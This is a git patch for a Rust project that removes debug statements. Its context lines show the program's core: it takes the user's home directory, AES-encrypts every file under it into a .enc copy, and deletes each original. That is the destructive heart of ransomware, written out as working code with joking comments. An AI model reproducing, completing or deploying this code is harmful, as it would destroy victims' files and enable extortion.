From 9c94da7f950145520bdabf20ff7b21d6b60ee212 Mon Sep 17 00:00:00 2001 From: Xory Date: Mon, 17 Jun 2024 13:50:18 +0300 Subject: [PATCH] fix: remove debug statements --- src/crypto.rs | 5 ----- src/encrypt.rs | 1 - 2 files changed, 6 deletions(-) diff --git a/src/crypto.rs b/src/crypto.rs index 00a035a..917cc20 100644 --- a/src/crypto.rs +++ b/src/crypto.rs @@ -9,12 +9,10 @@ use block_modes::{BlockMode, Cbc}; use block_modes::block_padding::Pkcs7; use walkdir::WalkDir; use std::fs::File; -use std::path::Path; use std::fs; use std::io::{Read, Write}; use std::error::Error; use std::str; -use std::env; type Aes256Cbc = Cbc; @@ -62,7 +60,6 @@ fn get_all_files(dir: &str) -> Vec { for entry in WalkDir::new(dir).into_iter().filter_map(|e| e.ok()) { if entry.file_type().is_file() { - dbg!(&entry); file_paths.push(entry.path().display().to_string()); } } @@ -73,10 +70,8 @@ fn get_all_files(dir: &str) -> Vec { pub fn encrypt_directory(directory_path: &str) -> Result<(), Box> { let directory = get_all_files(directory_path); - dbg!(&directory); for mut file in directory { let encrypted_file_path = file.as_mut().to_owned() + ".enc"; - dbg!(&encrypted_file_path); let _ = encrypt_file(&file, &encrypted_file_path); let _ = fs::remove_file(file); } diff --git a/src/encrypt.rs b/src/encrypt.rs index 998b087..5f1ea48 100644 --- a/src/encrypt.rs +++ b/src/encrypt.rs @@ -4,7 +4,6 @@ use std::env; fn main() { let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail! - dbg!(&home); encrypt_directory(&home).unwrap(); // I know this many unwraps look // suspicious, but the chance of this // failing is less than a solar flare.